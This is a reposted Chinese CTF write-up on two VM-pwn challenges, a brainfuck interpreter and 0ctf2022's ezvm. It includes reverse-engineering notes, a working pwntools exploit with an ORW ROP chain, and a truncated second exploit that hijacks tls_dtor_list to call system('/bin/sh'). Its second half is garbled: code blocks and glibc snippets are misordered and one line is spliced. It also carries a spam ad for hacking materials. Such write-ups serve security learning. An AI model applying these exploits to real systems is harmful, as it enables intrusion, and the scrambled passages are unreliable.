ToB企服应用市场:ToB评测及商务社交产业平台

标题: VMPWN的入门级别题目详解（二） [打印本页]
作者: 慢吞云雾缓吐愁    时间: 2023-7-29 02:58
标题: VMPWN的入门级别题目详解（二）
实验四 VMPWN4

题目简介

这道题应该算是虚拟机保护的一个变种，是一个解释器类型的程序，何为解释器？解释器是一种计算机程序，用于解释和执行源代码。解释器可以理解源代码中的语法和语义，并将其转换为计算机可以执行的机器语言。与编译器不同，解释器不会将源代码转换为机器语言，而是直接执行源代码。即，这个程序接收一定的解释器语言，然后按照一定的规则对其进行解析，完成相应的功能，从本质上来看依然是一个虚拟机。
这个程序是一个brainfuck的解释器，brainfuck的语法如下所示：

将这些语法翻译为c代码如下所示：

题目保护检查

使用checksec来检查程序开启了哪些保护机制

所有保护全部开启使用seccomp-tools检查程序是否开启了沙箱

只允许open、openat、read、write、brk等少数系统调用，也就是说我们不能通过执行system(“/bin/sh”)或者execve系统调用来拿到shell了。
漏洞分析

使用IDA pro打开这个程序查看伪代码


看到std::cout以及std::string等函数，可以看出来这个程序是用c++进行编写的，相比于C语言的程序，C++的程序反编译之后分析起来难度会大一些。
【----帮助网安学习，以下所有学习资料免费领！加vx：yj009991，备注 “博客园” 获取！】
　① 网安学习成长路径思维导图
　② 60+网安经典常用工具包
　③ 100+SRC漏洞分析报告
　④ 150+网安攻防实战技术电子书
　⑤ 最权威CISSP 认证考试指南+题库
　⑥ 超1800页CTF实战技巧手册
　⑦ 最新网安大厂面试题合集（含答案）
　⑧ APP客户端安全检测指南（安卓+IOS）
分析一波sub_1EA2函数在a1+0x400处创建一个string类，后面的sub_1FAA，sub_1F72很复杂，看不明白，应该是初始化的函数。
然后在 sub_154B 函数中

这里就是沙箱开启函数，我们一开始用 seccomp-tools 分析程序得到的沙箱规则就是在这个函数中设置的，对程序的系统调用功能进行了种种限制。
接着输入 code，每次输入 1 字节，然后将这 1 字节拼接到 string 中， 在这里我们可以动态调试一下输入过程，因为 string 是一个类，其内部有其他成员。我们将断点下载 while 循环结束之后，即读取完了 code，我们首先输入 5 个'>',string 类在 rbp-0x40，我们查看其中内容：

前8个字节是一个指针，指向我们输入的code存放的地址，第2个8字节是输入的字节数，后面的就是我们输入的code，这里我们只输入了5个字节，直接在存在了栈中。我们多输入一些，大于0x10个字符

前8个字节变为了堆地址，我们输入的数据被存入了堆中，第2个8字节依然书我们输入的字节数，第3个8字节0x1e，应该是剩余可用空间，0x13+0x1e=0x31。总的来说，如果输入字符数小于0x10，string类的大概成员应该如下
  1. struct string
  2. {
  3.     char *data;
  4.     int64_t size;
  5.     char data[0x10];
  6.     ...
  7. }
复制代码
如果大于0x10则为如下
  1. struct
  2. {
  3.     char *buf;
  4.     int64_t size;
  5.     int64_t capacity;
  6.     char tmp_data[8];
  7.     ...
  8. }
复制代码
继续分析程序

中间这一段 for 循环应该是遍历所有输入的 code，寻找[和],也就是寻找程序的边界，为什么是寻找程序的边界，可以再看一下 brainfuck 解释为 c 语言之后的效果。[]所包裹起来的 code，就是 while 循环之内要执行的代码。从这个 for 循环往下，就是对 brainfuck 的解释代码，会依次判断每个字符的值，并进行相应的操作。
首先看到对>的操作会对v19进行+1操作，v19是啥呢？s是最开始初始化的时候传入的一个长度为0x400的数组，这里将v19赋值为s数组的地址，每当解析到>时，就将v19往后移动一个字节，然后对v19进行判断在if判断中存在问题，当v19指针大于string指针是退出，也就是说v19可以等于string指针，即v19可以指向string的第一个字节，存在off-by-one。如下图v19可以指向画框的1字节。
后续的其他操作就都和最开始贴出来的brainfuck语法一样了，也没有漏洞。
接下来开始利用漏洞。
第一步还是得先泄露libc地址。泄露方法是通过将v19指向string的第一字节，也就是buf指针的最后1字节。在0x7fffffffde68处就是main函数的返回地址，我们将buf指针的最后1字节修改为68，这样buf就会指向返回地址。在程序的最后，会将string的数据输出而此时string的buf已经被我们指向了返回地址，输出时就会泄露出libc_start_main的地址。在这里我们需要注意，想要buf指针能够指向栈中，我们输入的数据不能超过0x10个字节，而v19和string相差多少呢？v19是指向s的，s和string相差了0x400的距离，所以我们需要将v19增加0x400才行，但如果我们输入0x400个>，又会调用malloc，这样buf就会变成堆地址。所以这里就得了解brainfuck语法，使用[]可以达成类似于循环的效果。只需要+[>+],这5个字符就可以一直循环增加v19指针，并在v19指向string的第1字节时自动停止，然后往string的第1字节写入1字节的数据，换成c的语法如下
  1. ++*ptr;
  2. while(*ptr)
  3. {
  4.         ptr++;
  5.         ++*ptr;
  6. }
复制代码
这看起来是一个死循环，为啥能够自动在指向string的第1个字节时自动停止呢？这是因为，当执行完>使得v19指向string后，接下来会执行+使得string的buf指针+1，变成了下图所示：于是，原本要取]，因为指针+1，就会取到,，从而跳出循环。还有一点就是，因为aslr的缘故，栈地址会一直改变，所以泄露libc地址需要多试几次才能成功。拿到libc地址之后，就可以进行利用了，由于此时string的buf指针指向的是返回地址，我们再次输入code的时候就会往返回地址上写，所以我们可以构造好orw的rop链，直接写入返回地址，然后当我们结束main函数的时候就会执行orw链。另外，还有需要注意的地方，在程序开头和结尾，有这么几个函数开头结尾开头的应该是构造函数，结尾的应该是析构函数。在漏洞利用中我们将string的buf指向了返回地址，如果我们在这个时候退出了while循环，执行析构函数时就会报错，所以我们在布置完orw链后还需要对string的buf进行修正，让它指向正确的位置。
利用脚本
  1. from pwn import *
  2. context.log_level='debug'
  3. global io
  4. libc=ELF('./libc.so.6')
  5. ​
  6. def debug(addr,PIE=True):
  7.     if PIE:
  8.         text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
  9.         gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
  10.     else:
  11.         gdb.attach(io,"b *{}".format(hex(addr)))
  12. ​
  13. def pwn():
  14.    payload = '+[>+],'
  15.    io.recvuntil('enter your code:\n')
  16.    
  17.    io.sendline(payload)
  18.    io.recvuntil('running....\n')
  19.    io.send(p8(0xd8))
  20.    io.recvuntil("your code: ")
  21.    libc_base = u64(io.recvuntil('\x7f',timeout=0.5)[-6:].ljust(8,'\x00')) - 231 - libc.sym['__libc_start_main']
  22.    if libc_base>>40!=0x7f:
  23.        raise Exception("leak error!")
  24.    log.success('libc_base => {}'.format(hex(libc_base)))
  25.    pop_rdi_ret=libc_base+0x000000000002155f
  26.    pop_rsi_ret=libc_base+0x0000000000023e6a
  27.    pop_rdx_ret=libc_base+0x0000000000001b96
  28.    open_addr=libc_base+libc.symbols['open']
  29.    read_addr=libc_base+libc.symbols['read']
  30.    write_addr=libc_base+libc.symbols['write']
  31.    log.success('open_addr => {}'.format(hex(open_addr)))
  32.    log.success('read_addr => {}'.format(hex(read_addr)))
  33.    log.success('write_addr => {}'.format(hex(write_addr)))
  34. ​
  35.    flag_str_addr=(libc_base+libc.symbols['__free_hook'])&0xfffffffffffff000
  36. ​
  37.    orw=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(flag_str_addr)+p64(pop_rdx_ret)+p64(0x10)+p64(read_addr)
  38.    orw+=p64(pop_rdi_ret)+p64(flag_str_addr)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
  39.    orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(read_addr)
  40.    orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(write_addr)
  41. ​
  42.    io.recvuntil('want to continue?\n')
  43.    io.send('y')
  44.    io.recvuntil('enter your code:\n')
  45. ​
  46.    io.sendline(orw+payload)
  47. ​
  48.    io.recvuntil('running....\n')
  49.    io.send('\xa0')
  50.    io.recvuntil('want to continue?\n')
  51.    io.send('n')
  52.    io.send('./flag')
  53. ​
  54.    io.interactive()
  55. ​
  56. if __name__ == "__main__":
  57.    while True:
  58.        try:
  59.            io=process('./bf')
  60.            pwn()
  61.        except:
  62.            io.close()
  63.    
复制代码
实验五 VMPWN5

题目简介

这道题是一道很典型的VMPWN，接收字节码，对字节码进行解析，执行对应功能。不过这题相较于前面的vmpwn有些区别，前几题都都是同时存在越界读和越界写漏洞的，然而这道题仅存在一个越界写漏洞，这就要求更加开阔和灵活的解题思路。
题目保护检查


保护全部开启了。
漏洞分析

IDA打开程序

读取一段字符，如果这段字符串不为”bye bye”，则调用sub_228E函数
看到sub_228E函数

首先根据字符串的输出将各个变量重命名。

先让用户输入code_size，也就是字节码的长度；接着让用户输入memory count，也就是内存的大小，内存的单位是8字节，后面通过malloc申请memory count*8大小的堆块作为内存。然后读取code，最后调用sub_1458函数，跟进查看

似乎是一个初始化函数，但具体做了什么我们暂不清楚，继续往下看，跟进到sub_151A函数。

这里就是熟悉的解析字节码了，我们将前面的函数和变量重命名一下
为了方便逆向分析，我们首先来确定虚拟机的结构体。

首先根据这里的判断，我们猜测通用寄存器的索引不能大于3，也就是通用寄存器有 4个。我们再回看到init_vm结构体。

qword_5040应该为pc指针，因为它指向的是code的开头，ptr指向内存的开头，后面又malloc出来了一块0x800的堆，猜测这个qword_5050应该就是栈顶指针rsp，重命名之后如下

重新看回到exec_vm函数

qword_5088很明显是当前运行了多少code。 而我们注意到

我们刚刚重命名的指针都是位于同一块区域，所以这一块区域应该就是vm虚拟机的位置。
根据刚刚的分析，创建如下结构体
  1. struct vm
  2. {
  3.  char *code;
  4.  int64_t *memory;
  5.  int64_t *stack;
  6.  int64_t codesize;
  7.  int64_t memcnt;
  8.  int64_t regs[4];
  9.  int64_t rip;
  10.  int64_t rsp;
  11. };
  12. ​
复制代码
再将其应用于IDA中，此时exec_vm已经变得很清晰




一共24个功能，每个操作码对应的功能如下：
  1. 0：push
  2. ​
  3. 1：pop
  4. ​
  5. 2：将栈中的两个值相加
  6. ​
  7. 3：将栈中的两个值相减
  8. ​
  9. 4：将栈中的两个值相乘
  10. ​
  11. 5：将栈中的两个值相除
  12. ​
  13. 6：将栈中的两个值取模
  14. ​
  15. 7：将栈中的两个值左移
  16. ​
  17. 8：将栈中的两个值右移
  18. ​
  19. 9：将栈中的两个值相与
  20. ​
  21. 11：将栈中的两个值相或
  22. ​
  23. 12：将栈中的两个值相异或
  24. ​
  25. 13：判断栈顶值是否为0
  26. ​
  27. 14：jmp
  28. ​
  29. 15：条件jmp，如果栈顶有值就jmp，没有就不jmp
  30. ​
  31. 16：条件jmp，和15相反
  32. ​
  33. 17：判断栈顶的两个值是否相等
  34. ​
  35. 18：判断栈顶值是否小于栈顶下的一个值
  36. ​
  37. 19：判断栈顶值是否大于栈顶下的一个值
  38. ​
  39. 20：将一个立即数存入寄存器中
  40. ​
  41. 21：将寄存器中的值存入内存中
  42. ​
  43. 22：将内存中的值存入寄存器中
  44. ​
  45. 23：打印finish
复制代码
接下来开始分析漏洞
在最开始输入mem_cnt时有一个判断，如下

在这里，当输入类似0x2000000000000020的mem_cnt时，后续申请到的memory大小就为0x100因为0x200000000000000*8会超过64位能表示的最大数字从而导致整数溢出，只有最后的0x20*8会保留下来。

在执行opcode时，0x15功能点处检查内存是否越界依然使用的是一开始输入的mem_cnt，因此存在越界写，可以将寄存器中的数据写到任意内存中。而在0x16功能点处的内存读功能则由于v8 >= 8 * vmx.memcnt / 8的处理，失去了越界读的效果，所以题目的漏洞就在于0x15功能点的越界写。
但是，由于不存在越界读功能，我们无法从内存中读取libc地址信息到寄存器中，虚拟机也没有输出功能，因此我们需要另辟蹊径。
首先如何生成libc地址，注意在exec_vm结束后，会清理虚拟机的各个段

由于将堆free了会链入到unsortedbin中，因此堆中就会留下libc地址，再重新初始化一个虚拟机，这个新的虚拟机的内存段中就会包含libc地址。

当opcode大于0x17时，会输出what???，可以根据这个构造盲注来泄露libc地址.

首先将libc地址push到栈上，然后将1 canary canary : 0xed8519fd5f3d4700pwndbg> search -p 0xed8519fd5f3d4700                0x7ffff7fca568 0xed8519fd5f3d4700pwndbg> x /20xg 0x7ffff7fca568-0x280x7ffff7fca540:        0x00007ffff7fca540        0x00007ffff7fcae900x7ffff7fca550:        0x00007ffff7fca540        0x0000000000000000[/code]回到函数中来，解密了func之后，会执行
  1. void
  2. exit (int status)
  3. {
  4.  __run_exit_handlers (status, &__exit_funcs, true, true);
  5. }
  6. libc_hidden_def (exit)
复制代码
而func和cur->obj同属于tls_dtor_list结构体，而这个结构体的来源是tls_dtor_list这个指针，如果我们能够控制这个指针指向我们可控的内存那么就能够劫持程序。我们继续动态调试查看tls_dtor_list的值
  1. __run_exit_handlers (int status, struct exit_function_list **listp,
  2.              bool run_list_atexit, bool run_dtors)
  3. {
  4.  /* First, call the TLS destructors.  */
  5. #ifndef SHARED
  6.  if (&__call_tls_dtors != NULL)
  7. #endif
  8.    if (run_dtors)
  9.      __call_tls_dtors ();
  10. ​
  11.   .....................
  12.  _exit (status);
  13. }
复制代码
但是pwndbg并不能直接查看到tls_dtor_list的内容，看地址也不行，那我们继续从汇编中找
查看while (tls_dtor_list)处的汇编，如下
  1. pwndbg> p run_dtors
  2. $1 = true
复制代码
将fs:[rbx]处的值赋给rbp，然后检查rbp是否为0
此时RBP的值为
  1. void
  2. __call_tls_dtors (void)
  3. {
  4.   while (tls_dtor_list)
  5.     {
  6.       struct dtor_list *cur = tls_dtor_list;
  7.       dtor_func func = cur->func;
  8. #ifdef PTR_DEMANGLE
  9.       PTR_DEMANGLE (func);
  10. #endif
  12.       tls_dtor_list = tls_dtor_list->next;
  13.       func (cur->obj);
  15.       /* Ensure that the MAP dereference happens before
  16.          l_tls_dtor_count decrement.  That way, we protect this access from a
  17.          potential DSO unload in _dl_close_worker, which happens when
  18.          l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
  19.       atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
  20.       free (cur);
  21.     }
  22. }
复制代码
补码形式，转换成负数就是-0x58，也就是将fs:[-0x58]处的值赋给RBP，所以tls_dtor_list的地址就为fs:[-0x58]。
整个利用流程就是，将tls_dtor_list的值修改为我们可控内存的地址，一般是堆的地址，然后根据dtor_list结构体的布局
  1. struct dtor_list
  2. {
  3.   dtor_func func;
  4.   void *obj;
  5.   struct link_map *map;
  6.   struct dtor_list *next;
  7. };
复制代码
我们只需要将在堆中将func伪造为加密后的system的地址，obj为/bin/sh即可。
按照上面说的思路，我们利用越界写将pointer_guard修改为0，然后修改dtor_list结构体的值，将func修改为加密后的system地址，将会obj修改为binsh的地址，最后我们推出虚拟机的时候就会触发system(“/bin/sh”)来getshell。
利用脚本

[code]from pwn import *context.log_level='debug'io=process('./ezvm')libc=ELF('./libc-2.35.so')io.recvuntil('Welcome to 0ctf2022!!\n')io.sendline('lock')io.recvuntil('size:\n')io.sendline('38')io.recvuntil('memory count:\n')io.sendline('256')code=p8(0x17)+p8(0xff)*36io.recvuntil('code:\n')io.sendline(code)io.recvuntil('continue?\n')io.sendline('y')leak=0for i in range(5,40,1):    print("leaking bit"+str(i)+':'+str(bin(1



欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4